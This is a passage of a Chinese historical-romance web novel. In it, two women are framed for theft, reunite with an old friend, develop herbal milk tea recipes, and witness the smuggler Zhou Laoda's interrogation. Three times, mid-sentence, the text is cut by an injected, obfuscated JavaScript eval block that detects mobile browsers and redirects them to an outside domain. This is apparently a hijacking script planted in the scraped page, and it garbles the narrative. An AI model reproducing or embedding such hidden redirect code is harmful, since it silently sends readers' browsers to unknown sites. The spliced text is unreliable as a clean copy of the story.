趁那两人被缠住的工夫,江心月拉着呆六娘猫腰往渔船跑。虾酱的咸腥味越来越浓,老李正在船头收拾渔网。 “李叔,”江心月压低声音,“解大姐让我们来的...” 老李头也不抬:“钻舱里去,盖好油布。” 两人刚钻进船舱,就听见岸上一阵骚动。江心月从缝隙里看见漕帮的人推开解丁兰,正往这边张望。 “起网喽——”老李突然吆喝一声,竹篙往岸上一点,小船晃晃悠悠离开了码头。 呆六娘刚要说话,江心月赶紧捂住她的嘴。船行到河中央时,突然一阵剧烈晃动。 “官爷,我这满船虾酱...”老李的声音突然中断。 油布猛地被掀开,刺眼的阳光照进来。江心月眯起眼睛,看见三个漕帮汉子站在船头,为首的正用刀抵着老李的后腰。 “自己出来,还是我们动手?” 江心月拉着呆六娘钻出船舱。河面上不知何时多了条快船,几个漕帮众正虎视眈眈。 “绑了!带回去见少当家!” 江心月被推上快船时,看见老李的渔船已经被控制。呆六娘紧紧攥着她的手,小脸煞白。 快船靠岸后,她们被带到镇上最大的客栈“福满楼”。客栈门口挂着大红灯笼,照得路面泛着红光。押送的汉子推搡着她们上了二楼,木楼梯发出吱呀的声响。 二楼厢房里,一个二十出头的年轻人正在喝茶。他穿着蓝色长衫,腰间挂着块白玉牌,手指修长干净,指甲修剪得圆润整洁,一看就是读书人的手。桌上摆着几碟点心,茶香袅袅升起。 “少当家,人带到了。”押送的汉子抱拳道,声音粗犷。 年轻人放下茶盏,抬眼打量江心月,目光在她沾了虾酱的衣角停留片刻:“听说你们偷了我漕帮的银子?”他的声音不紧不慢,却带着不容置疑的威严。 江心月挺直腰背,虽然发髻有些散乱,但仪态依然端庄:“公子明鉴,我们是被冤枉的。” “哦?”少当家轻笑一声,手指轻轻敲击桌面,“那为何要跑?还躲在虾酱船里?”他端起茶盏抿了一口,眼睛却一直盯着江心月。 呆六娘突然挣开钳制,冲到江心月前面:“是我们周老大给的银子!三娘根本不知道!”她声音又急又脆,像爆豆子似的,“那钱袋往我们包袱里一塞就跑,我们还纳闷呢!” 少当家眉毛一挑:“小丫头倒是伶牙俐齿。”他转向江心月,“你说被冤枉,可有证据?” 江心月刚要开口,房门突然被推开。 一个穿月白长衫的男子站在门口,手中折扇轻摇:“都文曜,听说人抓回来了?” “浔阳兄来得正好。”都文曜对着江心月二人的方向努努嘴,“就是这两个。” 呆六娘回头一看,眼睛顿时亮了,像小鹿似的蹦过去抱住来人的腿:“秋儿哥!”她的声音里满是惊喜,差点把来人撞个趔趄。 “六娘?”浔阳秋手里的折扇“啪”地合上,弯腰扶起小丫头,突然意识到什么,猛地抬头看向江心月,声音有些发颤,“三...三娘?” 江心月怔在原地,手指无意识地绞紧了衣角。眼前人眉目如画,确实是记忆里那个温润如玉的少年。她张了张嘴,却不知该说什么。 “你们怎么会在青阳镇?”浔阳秋半蹲着给呆六娘拍打衣摆上的灰尘,语气里是掩不住的惊讶。 呆六娘嘴快:“糖价要涨,我们来岭南买糖。”她撇撇嘴,小脸皱成一团,“谁知道路上被人诬陷,差点喂了河鱼...”说着还做了个鬼脸。 浔阳秋站起身,折扇在掌心轻敲两下,转向都文曜,语气坚定:“文曜兄,这二位是我旧识,绝不会做出偷钱的事。” 都文曜手中的茶盏一顿,若有所思地看向江心月:“原来是江小姐...”他忽然起身,拱手一礼,“是在下唐突了。”动作干净利落,带着几分歉意。 江心月微微欠身:“都公子秉公办事,何来唐突之说。”她的声音不卑不亢,眼角余光却瞥向浔阳秋。 浔阳秋的折扇又“唰”地展开,笑吟吟道:“既然误会解开了,不如我做东,请诸位去楼下用些茶点?六娘最爱吃的桂花糖糕,这福满楼做得最地道。”说着摸了摸呆六娘的头。 呆六娘一听“糖糕”二字,眼睛都亮了,拽着浔阳秋的袖子直晃:“秋儿哥最好了!” 都文曜看着小丫头馋猫似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399852|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样,忍不住摇头失笑:“罢了,既然是浔阳兄的故人,此事就此作罢。”他转向门口的手下,“去查查那个周老大的底细。” 手下领命而去,脚步声渐渐消失在走廊尽头。、 福满楼二楼的雅间里,四人围坐在红木圆桌旁。店小二刚端上来的桂花糖糕还冒着热气,甜香四溢。呆六娘迫不及待地夹了一块,烫得直吹气。 “慢些吃,”江心月递过一杯凉茶,“小心烫着。”她转向都文曜和浔阳秋,轻声道:“说来也是巧,我们在顺风号上就发现些蹊跷。” 都文曜放下筷子,神色认真起来:“江小姐请讲。” “那个叫阿水的船工,和周老大关系很不一般。”江心月回忆道,“有天夜里我起夜,正巧看见他们在货舱鬼鬼祟祟地搬东西。”她端起茶盏抿了一口,“借着月光,我瞧见他们往米袋里藏了些东西,看形状像是银锭。” 浔阳秋眉头微皱:“阿水?是不是那个总爱穿褐色短打的瘦高个?” “正是他。”江心月点头,“左眼角有颗痣,说话带着些北地口音。” 都文曜突然坐直了身子:“阿水?”他手指轻轻敲着桌面,“这人我有些印象。三年前家父提拔过他,说他做事勤快。”他冷笑一声,“没想到是个吃里扒外的东西。” 呆六娘嘴里塞着糖糕,含糊不清地插话:“那个阿水可坏了!还故意往我们包袱里塞钱袋呢!” 浔阳秋给她添了杯茶:“六娘慢慢说,别噎着。” 都文曜沉思片刻,忽然招手唤来守在门口的手下:“去查查顺风号的货单,特别是阿水经手的那几批。”手下领命而去,脚步声在木楼梯上咚咚作响。 “这事恐怕不简单。”都文曜沉声道,“若真如江小姐所说,他们敢在漕帮眼皮底下做手脚,必定还有同伙。” 江心月轻轻放下茶盏:“都公子说得是。我们在船上时,就发现他们往来密切,不像普通船工和货主的关系。” 店小二又端上来一盘清蒸鲈鱼,鱼眼睛还泛着光。浔阳秋夹了块最嫩的鱼腹肉放到呆六娘碗里, 转头对都文曜说:“文曜兄,这事要不要先禀报都伯父?” 都文曜摇摇头:“先查清楚再说。”他看向江心月,语气诚恳,“多谢江小姐告知此事。若非你们发现,恐怕漕帮还要蒙受更大损失。” 江心月微微颔首:“都公子客气了,我们也是碰巧遇见。” 呆六娘突然举起油乎乎的小手:“我知道!那个周老大还总往阿水怀里塞东西呢!有次我看见是个小布包,叮当响!” 浔阳秋忍俊不禁,掏出手帕给她擦手:“六娘倒是看得仔细。” 都文曜脸色越发严肃:“看来这事要尽快处理。”他起身拱手,“二位先用膳,我去安排人手查证。若情况属实...”他眼中闪过一丝厉色,“定要他们吃不了兜着走。” 江心月看着都文曜匆匆离去的背影,轻声道:“都公子办事倒是雷厉风行。” 浔阳秋给她添了杯热茶:“文曜一向如此。来,尝尝这鲈鱼,是今早刚从江里捞上来的。” 27. 岭南行之青阳镇4 夜深了,福满楼的后院静悄悄的,只有几只萤火虫在草丛间忽明忽暗。 江心月独自坐在石桌旁,手边放着一盏快要燃尽的油灯。她望着天边的月亮出神,手指无意识地摩挲着茶杯边缘。院角的桂花树随风轻摆,落下几片花瓣,有一片正好落在她的衣袖上。 “三娘还没睡?” 浔阳秋的声音从身后传来,伴随着鞋子行路的轻响。江心月回头,看见他提着盏灯笼走来,暖黄的光映在他温润的眉眼上,照亮了他衣襟上绣着的暗纹。 “六娘睡下了?”江心月往旁边挪了挪,石凳发出轻微的摩擦声。她顺手拂去衣袖上的花瓣。 “刚哄睡着。”浔阳秋笑着坐下,把灯笼挂在石桌旁的树枝上,灯笼穗子轻轻晃动,“这小丫头,非要缠着我讲完三个故事才肯闭眼。”他说着揉了揉肩膀,“讲得我嗓子都哑了。” 江心月嘴角微扬,从石桌下取出一个青瓷茶壶,茶壶外还裹着一层棉布保温:“她还是老样子。”她掀开壶盖,热气混着茶香飘散开来,“正好,茶还温着。” 浔阳秋眼睛一亮,身子不自觉地往前倾了倾:“这是...” “猜到你今晚会来找我。”江心月给他倒了杯茶,琥珀色的茶汤在月光下泛着柔光,“下午借了客栈的厨房做的。”她顿了顿,眼中闪过一丝狡黠,“钱记在都公子账上了。” 浔阳秋接过茶杯,熟悉的奶香混着茶香扑面而来。他先凑近闻了闻,然后才小心翼翼地抿了一口,满足地叹了口气:“还是三娘的手艺好。这些日子在外,最想的就是这口。”他的手指在杯沿轻轻滑动,像是在确认这真实的触感。 “少来。”江心月轻哼一声,却忍不住多看了他一眼。灯笼的光映在他的侧脸上,勾勒出柔和的轮廓。 “真的......”浔阳秋突然语塞,耳根微微发红,手指不自觉地摸了摸鼻子,“三娘的奶茶在岭南也是独一份的存在。”他说着又喝了一大口,像是要证明自己的诚意。 江心月别过脸去,借着夜色掩饰微红的脸颊:“骗人。岭南爱吃甜食,怎么可能没有合你胃口的甜水。”她的手指绞着衣角,声音却不自觉地软了几分。 浔阳秋挠挠头,笑得有些窘迫:“可是我真的没有喝到啊。”他放下茶杯,认真地看着江心月,“那些糖水要么太甜腻,要么少了茶香,都不如三娘做的恰到好处。” 夜风拂过,灯笼轻轻摇晃,两人的影子在地上交叠又分开。 “这些日子...”浔阳秋犹豫着开口,手指在石桌上画着圈,“你过得好吗?”他的声音很轻,像是怕惊扰了这静谧的夜色。 江心月望着茶杯里晃动的月影,茶汤映出她模糊的倒影:“挺好的。珍珠坊生意不错,六娘也懂事。”她顿了顿,抬眼看向浔阳秋,“你呢?” “还行。”浔阳秋转着茶杯,茶汤在杯中荡起小小的涟漪,“就是总惦记着你们的奶茶和点心。”他忽然压低声音,往江心月这边凑了凑,“其实我这次出来是为了查走私贡茶。” 江心月惊讶地抬头,发间的银簪在月光下一闪:“那现在查的如何?”她的声音不自觉地跟着压低,像是怕被人听见。 “等阿水抓到,就可以去顾渚贡茶院对峙了。”浔阳秋不好意思地笑笑,手指轻轻敲着茶杯,“正好你们也要去湖州,不如一起?”他的眼睛亮晶晶的,满是期待。 江心月也笑起来,眼角微微弯起:“行,正好我有些事想请教解丁兰。”她说着给浔阳秋添了茶,茶汤注入杯中发出悦耳的声响。 两人相视一笑,仿佛又回到了从前。夜风渐凉,桂花簌簌落下,有几片落在茶盘里,在月光下像小小的金箔。 “不早了。”江心月站起身,整理了一下有些皱的衣裙,“明天还有事要忙。”她的目光扫过空了的茶壶,嘴角带着若有若无的笑意。 浔阳秋也跟着起身,犹豫了一下,还是开口道:“明天...我陪你们去吧。这一带我熟。”他的手指无意识地摩挲着腰间的玉佩,眼睛却一直看着江心月。 江心月点点头,没有拒绝:“那...明天见。”她的声音很轻,却带着掩不住的愉悦。 “明天见。”浔阳秋提起灯笼,暖光映着他含笑的眉眼,“晚安,三娘。”他转身离去,灯笼的光在石板路上投下长长的影子。 江心月看着他走远的背影,轻轻摸了摸尚有余温的茶壶,嘴角不自觉地扬起。夜空中,星星一闪一闪,像是也在偷笑。她收拾好茶具,指尖触到那片落在茶盘里的桂花,想了想,还是小心地把它放进了袖袋里。 ———— 第二天清晨,天边刚泛起鱼肚白,江心月就被窗外叽叽喳喳的鸟叫声吵醒。她揉了揉眼睛,看见窗纸上已经映着淡青色的晨光。院子里传来呆六娘清脆的声音:“三娘!起床啦!太阳晒屁股啦!” 江心月披上外衣推开窗,晨风带着露水的清新扑面而来。呆六娘穿着那件鹅黄色的新裙子,正在院子里追着一只花蝴蝶跑。浔阳秋站在葡萄架下,手里提着个还冒着热气的食盒,见她开窗,笑着举了举:“买了刚出锅的葱油饼,趁热吃。” “你们起得真早。”江心月挽起长发,随手用木簪绾了个简单的发髻。她注意到浔阳秋的衣摆沾着晨露,想必是天没亮就出门了。 呆六娘蹦蹦跳跳地跑到窗下:“三娘快看,秋儿哥给我买了新头绳!”她晃着脑袋,两条扎着红绳的小辫子像蝴蝶翅膀似的扑闪。 “别闹,让你三娘梳洗。”浔阳秋把食盒放在石桌上,从袖中取出个小纸包,“还买了芝麻糖,但要吃完饭才能吃。” 江心月洗漱完毕,三人沿着青石板路往解丁兰的住处走去。清晨的集市已经热闹起来,卖早点的摊子前排着长队。一个挑着新鲜蔬菜的老汉与他们擦肩而过,扁担吱呀作响。 “豆腐脑——热乎的豆腐脑——”路边小贩的吆喝声洪亮悠长。 呆六娘一手抓着葱油饼,一手拉着浔阳秋的袖子,眼睛不停地往路边的小摊上瞟。走到捏糖人的摊子前,她再也挪不动步子了。 “秋儿哥,我想吃糖人!”呆六娘指着摊子上插着的孙悟空糖人,眼睛亮得像星星。 浔阳秋无奈地笑笑,掏出两个铜钱:“要小的,不然待会儿吃不下饭。”转头对江心月解释,“这老伯的手艺是镇上最好的,六娘小时候就爱吃。” 捏糖人的老伯接过铜钱,从热锅里舀出一勺金黄的糖稀,手腕灵活地转动几下,眨眼间就捏出只活灵活现的小兔子。呆六娘接过糖人,小心翼翼地舔了舔,幸福得眯起眼睛。 穿过两条巷子,人声渐渐稀疏。解丁兰的院子在一片竹林后面,竹叶在晨风中沙沙作响。推开竹篱笆门,就闻到淡淡的药香,院子里晾晒的草药在阳光下散发着独特的气息。 解丁兰正在翻晒一簸箕当归,见他们来了,拍拍手上的药渣迎上来:“稀客啊,怎么想到来看我?”她今天穿了件靛青色的布裙,头发用木簪挽得一丝不苟。 江心月上前行礼:“解大姐,我有些草药的事想请教您。”她从包袱里取出个小瓷瓶,“这是我店里最受欢迎的奶茶,想请您尝尝。” “进屋说,进屋说。”解丁兰招呼他们往竹屋里走,顺手从晾晒架上抓了把新鲜薄荷,“正好新采的菊花茶,配上这个更清香。” 竹屋里陈设简单但整洁,靠窗的书案上摊着几本医书,墙角堆着几个装满草药的竹篓。解丁兰给每人倒了杯菊花茶,金黄的茶汤在粗瓷碗里荡漾,飘着几片嫩绿的薄荷叶。 江心月小心地捧起茶碗,先嗅了嗅香气,才轻啜一口:“解大姐,我想问问,有没有什么草药可以加在奶茶里,既好喝又养生的?” 解丁兰眼睛一亮,放下茶碗掰着手指细数:“菊花清火,桂花暖胃,甘草可以调味...”她突然起身从药柜里取出几个小罐子,“这是我自己配的安神茶,你尝尝。” 呆六娘捧着糖人插嘴:“三娘的奶茶最好喝了!我们在城里开了好几分店呢!” 浔阳秋笑着补充:“是真的,每次去都要排队。” 江心月不好意思地摆摆手:“就是小本生意。”她接过解丁兰递来的安神茶,仔细品尝,“这茶回甘很好,要是加上鲜奶和蜂蜜...” 解丁兰若有所思地点点头:“这主意不错。我守着这些药方子也没什么用,不如让更多人受益。”她翻出一本手写的册子,“这里记着几个温和的方子,适合日常饮用。” “那您愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399853|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我合作吗?”江心月眼睛亮晶晶的,从袖中取出张写满字的纸,“这是我拟的契约,您出方子,我来调配,赚的钱我们对半分。” 解丁兰接过契约,哈哈大笑:“你这丫头,倒是会做生意。”她拍拍江心月的手,“行,就这么说定了。不过我得先教你认几味药,可不能乱加。”说着从药柜里取出几个小布袋,“这是陈皮,这是山楂...” 江心月连忙拿出随身携带的小本子记录:“陈皮理气,山楂消食...”她的字迹清秀工整,偶尔还画个小图标注药材特征。 呆六娘好奇地凑过来摸摸这个闻闻那个,突然打了个喷嚏,惹得大家都笑起来。她不好意思地揉揉鼻子:“这个味道好冲!” “这是川芎,活血用的,可不能加在奶茶里。”解丁兰笑着把药材收好,转头对江心月说,“明日我带你去后山采药,教你认新鲜的。” 浔阳秋帮着整理药柜,突然指着一味药问:“解大姐,这是黄精吧?我记得《本草纲目》里说...” “哟,你也懂药材?”解丁兰惊讶地看着他。 浔阳秋谦虚地笑笑:“略知一二,在家里喜欢研究这些。” 江心月闻言抬头,正好对上浔阳秋含笑的眼眸。阳光透过竹窗照进来,在他侧脸投下细碎的光斑。她突然想起小时候,他也是这样站在书房门口,等着和她一起去采药。 “三娘,你看这个!”呆六娘的声音打断了她的思绪。小丫头不知从哪里翻出个小小的石磨,“我们可以用它磨药材!” 解丁兰拍拍呆六娘的头:“这是捣药用的,小心别砸着手。”她转向江心月,“要不现在就去后山转转?这会儿药材最新鲜。” 四人带着竹篮往后山走去。山间小径两旁开满野花,蝴蝶在草丛间翩翩起舞。解丁兰边走边指点:“这是金银花,清热解毒;那是蒲公英,可以...” 江心月认真记着,不时弯腰采摘。她的裙摆沾上了露水,发间落了几片花瓣也浑然不觉。浔阳秋走在她身侧,时不时递过刚采的草药:“这个应该是紫苏吧?” “对,紫苏叶可以解表散寒。”江心月接过闻了闻,“加在姜汁奶茶里应该不错。” 呆六娘跑在最前面,突然惊喜地喊道:“快来看!好大一片野草莓!”她蹲在草丛里,已经摘了好几颗往嘴里塞。 “别乱吃!”解丁兰赶紧过去,“先让我看看...”她检查后松了口气,“确实是野草莓,少吃几颗没事。” 中午时分,他们满载而归。解丁兰的院子里支起了小炉子,江心月正在尝试调配第一杯药膳奶茶。她将菊花、薄荷和少量陈皮放入茶包,冲入热水焖泡。 “牛奶要温的,不能煮沸。”她边操作边解释,“否则会破坏药效。” 浔阳秋帮忙研磨冰糖,呆六娘则负责尝味道。小丫头捧着试饮的小杯子,像模像样地咂咂嘴:“好喝!但再甜一点点就更好了。” 解丁兰尝过后也点头称赞:“没想到药材和奶茶这么配,既保留了药效,又不难入口。” 江心月又调整了几次比例,终于满意地记下配方:“就叫‘解大姐安神茶''吧。” “使不得使不得,”解丁兰连连摆手,“就叫‘竹露清茶''好了,文雅些。” 夕阳西下,院子里飘着草药的清香和奶茶的甜香。江心月看着记满笔记的本子,心里已经在盘算着新店的布置。浔阳秋帮解丁兰收拾药材,两人有说有笑。呆六娘趴在石桌上,已经抱着空杯子睡着了,嘴角还沾着一点奶沫。 “明天我再来跟您学认药材。”临走时,江心月郑重地对解丁兰说。 解丁兰笑着点头,往她怀里塞了个包袱:“这里有些常用药材,你先拿回去试试。”又摸摸呆六娘的头,“小丫头累坏了,回去让她早点睡。” 回程的路上,晚风轻拂。浔阳秋背着熟睡的呆六娘,江心月提着装满药材的篮子。街边的灯笼次第亮起,将三人的影子拉得很长很长。 “记得在永安的时候,我们也经常这样。”浔阳秋突然轻声说。 江心月莞尔一笑:“那我们早点回去呀。” 他们相视一笑,谁都没有再说话。夜空中繁星点点,明天又将是忙碌而充实的一天。 28. 岭南行之青阳镇5 漕帮的地牢里,潮湿的空气中弥漫着铁锈和霉味。几盏油灯在石壁上投下摇曳的光影,将众人的影子拉得老长。都文曜站在中央,手指轻轻敲击着腰间的刀柄,目光冰冷地盯着被铁链锁在木桩上的阿水。 “说说吧,谁指使你偷漕帮的银子?”都文曜的声音不高,却在地牢里格外清晰。 阿水低着头,额前的碎发被汗水打湿,黏在脸上。他咬着嘴唇不说话,只是肩膀微微发抖。 “嘴硬?”都文曜冷笑一声,转头看向站在一旁的江心月三人,“浔阳兄,你们来得正好。这位就是你们在船上见过的阿水。” 呆六娘躲在江心月身后,小手紧紧攥着江心月的衣袖。江心月安抚地拍拍她的手背,眼睛却一直盯着阿水。浔阳秋皱着眉头,折扇在掌心轻轻敲打。 “阿水,我认得你。”都文曜慢慢踱步到阿水面前,“三年前我父亲提拔你的时候,你还跪在地上磕头谢恩。现在倒好,吃里扒外?” 阿水猛地抬头,眼睛里布满血丝:“少当家,我冤枉啊!我就是个跑船的,哪敢动漕帮的东西!” “冤枉?”都文曜从怀中掏出一个布包,抖落出几块银锭,“这是从你床底下搜出来的,上面还打着漕帮的印记。要不要我把周老大也请来对质?” 听到“周老大”三个字,阿水的脸色瞬间惨白。他的喉结上下滚动,额头上的汗珠滚落下来。 浔阳秋上前一步:“阿水,你要是老实交代,或许还能从轻发落。” “我......”阿水的目光在几人脸上游移,最后落在呆六娘身上。小姑娘被他看得往后退了一步。 江心月注意到阿水的眼神,不动声色地挡在呆六娘前面:“阿水,那天在船上,是你往我们包袱里塞的钱袋吧?” 阿水的嘴唇颤抖起来:“我、我也是被逼的......” “被谁逼的?”都文曜猛地拍向旁边的木桌,震得油灯的火苗剧烈晃动,“说!” 阿水被这声响吓得一哆嗦,铁链哗啦作响。他咽了口唾沫,声音细如蚊呐:“是、是周老大......他说我要是不照做,就、就把我妹妹卖到窑子里去......” 地牢里一时寂静,只有油灯燃烧的噼啪声。呆六娘从江心月身后探出头,大眼睛里满是惊恐。 都文曜的脸色阴沉得可怕:“继续说。” “周老大和、和顾渚贡茶院的管事勾结,偷换贡茶。”阿水的声音越来越低,“我负责在船上接应,把真茶藏起来,再把假茶混进漕帮的货里......” 浔阳秋的折扇“啪”地合上:“果然如此!” “那银子呢?”都文曜追问。 “周老大说......说漕帮的银子最好偷,因为、因为没人敢查......”阿水的声音几乎听不见了,“每次得手,他分我两成......” 江心月倒吸一口冷气:“所以那天你们是故意栽赃给我们?” 阿水羞愧地低下头:“周老大说,要是被发现了,就、就推到你们身上......” 呆六娘突然从江心月身后冲出来,小脸气得通红:“坏蛋!你知道我们差点被扔进河里吗?” 阿水被这突如其来的质问惊得抬头,正对上呆六娘愤怒的目光。他张了张嘴,却什么也没说出来,只是颓然地垂下脑袋。 浔阳秋拉住呆六娘:“六娘,别激动。”他转向都文曜,“文曜兄,看来这事比我们想的要复杂。” 都文曜点点头,眼中闪过一丝狠厉:“来人,去把周老大''请''来。记住,要活的。” 两个壮汉领命而去,脚步声在地牢的石阶上渐渐远去。都文曜走到阿水面前,居高临下地看着他:“阿水,我给你个机会。等周老大来了,你把刚才的话再说一遍,我可以考虑留你一条命。” 阿水的眼睛里突然涌出泪水:“少当家,我妹妹还在周老大手里......” “你放心。”都文曜的声音罕见地柔和了些,“我会派人去救她。” 江心月看着这一幕,轻轻叹了口气。浔阳秋注意到她的表情,低声问:“怎么了?” “没什么。”江心月摇摇头,“只是觉得......人为了活下去,什么事都做得出来。” 浔阳秋的目光在她脸上停留片刻,似乎想说什么,最终只是轻轻拍了拍她的肩膀。 呆六娘扯了扯江心月的袖子:“三娘,我饿了......” 江心月这才注意到时间已经过去很久了。都文曜听见了,转头道:“是我疏忽了。浔阳兄,不如你先带江小姐和六娘去用膳?这里交给我就好。” 浔阳秋犹豫了一下:“可是......” “放心。”都文曜笑了笑,“等周老大到了,我派人去叫你们。” 江心月看了看阿水,又看了看都文曜,最终点点头:“那我们先去吃点东西。六娘从早上到现在都没吃东西。” 三人离开地牢,走到阳光下时都不由自主地深吸了一口气。呆六娘揉揉眼睛:“里面好黑啊,我眼睛都疼了。” 浔阳秋蹲下身,用手帕轻轻擦了擦她的脸:“走,秋儿哥带你去吃好吃的。想吃什么?” “糖醋鱼!”呆六娘立刻来了精神,“还有糯米藕!” 江心月忍不住笑了:“你这丫头,刚才还吓得躲在我身后,一说到吃的就来劲。” 三人来到漕帮附近的酒楼,要了个雅间。等菜的间隙,浔阳秋给两人倒了茶:“三娘,你在想什么?” 江心月捧着茶杯,眉头微蹙:“我在想阿水的妹妹。不知道多大了,现在在哪里......” “都文曜既然答应去救,应该没问题。”浔阳秋安慰道,“漕帮在江南一带势力很大。” 呆六娘趴在窗边看街上的行人,突然回头:“秋儿哥,那个周老大是不是很坏?” 浔阳秋和江心月对视一眼。浔阳秋点点头:“很坏。他不仅偷东西,还威胁别人帮他做坏事。” “那都哥哥会打他吗?”呆六娘歪着头问。 江心月把呆六娘拉回座位上:“六娘,这些事情让大人们处理就好。你乖乖吃饭。” 菜很快上来了。呆六娘饿坏了,埋头吃得津津有味。江心月却没什么胃口,只是偶尔夹一筷子菜。 “担心阿水的妹妹?”浔阳秋轻声问。 江心月点点头:“我总觉得事情没那么简单。周老大敢动漕帮的东西,背后会不会有人撑腰?” 浔阳秋的筷子停在半空:“你是说......” “我瞎猜的。”江心月摇摇头,“等周老大到了就知道了。” 正说着,一个漕帮弟子匆匆进来,在浔阳秋耳边低语几句。浔阳秋的脸色变了变,起身道:“周老大抓到了,我们现在回去吗?” 江心月看了看还在吃饭的呆六娘:“要不让六娘在这里等着?地牢那种地方......” “我要去!”呆六娘立刻放下筷子,小脸严肃,“我都不是小孩子了!” 浔阳秋哭笑不得:“好好好,带你去。不过你要答应我,待会儿不管看到什么,都不许哭鼻子。” 呆六娘挺起胸膛:“我才不会哭呢!” 三人匆匆结账,跟着漕帮弟子回到地牢。这次地牢里多了几个人,周老大被五花大绑扔在角落,脸上有淤青,显然抓捕时反抗过。都文曜正在审问阿水,见他们进来,点了点头。 “周老大,好久不见。”都文曜走到周老大面前,声音冰冷,“阿水已经把你们的事都交代了。你有什么要说的?” 周老大抬起头,阴鸷的目光扫过众人,最后落在阿水身上:“叛徒!” 阿水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404274|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑟缩了一下,但很快又抬起头:“周老大,我妹妹呢?你把她关在哪里?” 周老大狞笑起来:“那个小丫头?早卖了!现在说不定在哪个窑子里接客呢!” 阿水猛地挣扎起来,铁链哗啦作响,眼睛通红:“你答应过我的!你说只要我听话,就不会动她!” 都文曜按住激动的阿水,转向周老大:“我给你最后一次机会。说出幕后主使,还有阿水妹妹的下落,我可以让你死得痛快点。” 周老大啐了一口:“呸!少吓唬人!老子在道上混的时候,你还在吃奶呢!” 都文曜不怒反笑,从腰间抽出一把匕首,在手中把玩:“是吗?那咱们就看看,是你的嘴硬,还是我的刀快。” 江心月下意识捂住呆六娘的眼睛,但小姑娘却扒开她的手,小脸绷得紧紧的:“我不怕。” 浔阳秋上前一步:“文曜兄,或许换个方式?” 都文曜摇摇头:“浔阳兄,这事关漕帮声誉,必须严惩。”他转向周老大,“说吧,谁指使你偷换贡茶的?” 周老大冷笑不语。都文曜也不急,慢条斯理地用匕首挑起周老大的一缕头发,轻轻割断:“我有的是时间陪你玩。” “等等!”江心月突然开口,“周老大,你也有家人吧?” 周老大的表情微微一变。江心月继续道:“如果你合作,或许都公子能网开一面。但如果你坚持不说......”她意味深长地看了一眼都文曜。 都文曜会意,接话道:“听说你有个老母亲住在城东?还有个十岁的儿子在私塾读书?” 周老大的脸色终于变了:“你们敢!” “我们当然不会伤害无辜。”浔阳秋适时插话,“但如果你继续顽抗,你的家人恐怕会很难过。” 地牢里陷入短暂的沉默。周老大的胸口剧烈起伏,最终颓然地低下头:“是......是李员外。他想要贡茶的配方,就让我偷换真茶给他研究。” “李员外?”都文曜皱眉,“哪个李员外?” “就是......就是做茶叶生意的李茂才。”周老大声音低了下去,“他答应事成后给我一千两银子。” 阿水突然激动起来:“那我妹妹呢?她在哪?” 周老大瞥了他一眼:“在......在李家的别院里关着。我没卖她,刚才那是吓唬你的。” 都文曜立刻派人去李家别院救人。他收起匕首,冷冷地看着周老大:“早这么痛快不就好了?” 事情终于水落石出。都文曜命人将周老大押下去严加看管,又亲自给阿水解开铁链:“看在你妹妹的份上,这次饶你一命。但从今往后,别让我在岭南再看见你。” 阿水跪在地上连连磕头:“谢谢少当家!谢谢少当家!” 呆六娘拉拉江心月的袖子:“三娘,我们是不是可以回去了?” 江心月点点头,看向都文曜:“都公子,如果没什么事,我们就先告辞了。” 都文曜拱手道:“今日多谢几位相助。改日我设宴答谢。” 离开地牢,三人都长舒一口气。夕阳西下,将三人的影子拉得很长。呆六娘蹦蹦跳跳地走在前面,突然回头:“秋儿哥,那个李员外是不是也要被抓起来?” 浔阳秋点点头:“当然。偷换贡茶是重罪。” “那阿水的妹妹真的能找到吗?”呆六娘不放心地问。 “能的。”江心月摸摸她的头,“都公子既然答应了,就一定会做到。” 浔阳秋看着江心月的侧脸,突然道:“三娘,你今天在地牢里......很勇敢。” 江心月笑了笑:“我只是觉得,有时候温柔比暴力更有效。” 三人慢慢走回客栈,夕阳将他们的身影镀上一层金边。这一天发生了太多事,但好在,一切都在向好的方向发展。 29. 岭南行之顾渚贡茶院 清晨的薄雾笼罩着顾渚山,四匹骏马踏着青石板路缓缓前行。都文曜一袭靛蓝色劲装走在最前面,腰间佩刀随着马背起伏轻轻晃动。浔阳秋跟在一旁,月白色长衫被晨露打湿了下摆。江心月和呆六娘共乘一匹温顺的母马,小姑娘兴奋地左顾右盼。 “三娘你看!那边有只好大的白鹭!”呆六娘指着远处水田,差点从马背上跳起来。 江心月连忙按住她的肩膀:“坐稳了,当心摔着。”她的手指被晨雾浸得微凉,却还是稳稳地扶着呆六娘的腰。 都文曜回头笑道:“六娘是第一次来顾渚山?” “是呀是呀!”呆六娘点头如捣蒜,“我以前只听秋儿哥说过这里的茶特别好喝!” 